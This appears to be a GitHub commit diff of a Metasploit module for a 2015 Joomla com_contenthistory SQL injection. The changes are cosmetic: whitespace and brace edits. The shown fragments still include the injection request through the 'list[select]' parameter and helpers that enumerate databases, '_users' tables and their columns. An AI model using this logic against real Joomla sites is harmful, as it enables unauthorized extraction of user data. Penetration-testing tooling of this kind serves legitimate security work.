@@ -25,8 +25,8 @@ def initialize(info = {})
25
25
'Author' =>
26
26
[
27
27
'Asaf Orpani' , # discovery
28
- 'bperry' , # metasploit module
29
- 'Nixawk' # module review
28
+ 'bperry' , # metasploit module
29
+ 'Nixawk' # module review
30
30
] ,
31
31
'License' => MSF_LICENSE ,
32
32
'DisclosureDate' => 'Oct 22 2015'
@@ -57,7 +57,6 @@ def check
57
57
else
58
58
Msf ::Exploit ::CheckCode ::Safe
59
59
end
60
-
61
60
end
62
61
63
62
def request ( query , payload , lmark , rmark )
@@ -90,6 +89,7 @@ def query_databases(payload, lmark, rmark)
90
89
%w( performance_schema information_schema mysql ) . each do |dbname |
91
90
dbs . delete ( dbname ) if dbs . include? ( dbname )
92
91
end
92
+
93
93
dbs
94
94
end
95
95
@@ -113,6 +113,7 @@ def query_tables(database, payload, lmark, rmark)
113
113
vprint_good ( tbname )
114
114
tbs << tbname if tbname =~ /_users$/
115
115
end
116
+
116
117
tbs
117
118
end
118
119
@@ -160,6 +161,7 @@ def query_columns(database, table, payload, lmark, rmark)
160
161
cols << record
161
162
vprint_status ( record . to_s )
162
163
end
164
+
163
165
cols
164
166
end
165
167
@@ -192,7 +194,7 @@ def run
192
194
end
193
195
194
196
def sqli ( payload )
195
- send_request_cgi ( {
197
+ send_request_cgi (
196
198
'uri' => normalize_uri ( target_uri . path , 'index.php' ) ,
197
199
'vars_get' => {
198
200
'option' => 'com_contenthistory' ,
@@ -202,6 +204,7 @@ def sqli(payload)
202
204
'type_id' => 1 ,
203
205
'list[select]' => '1 ' + payload
204
206
}
205
- } )
207
+ )
206
208
end
209
+
207
210
end
0 commit comments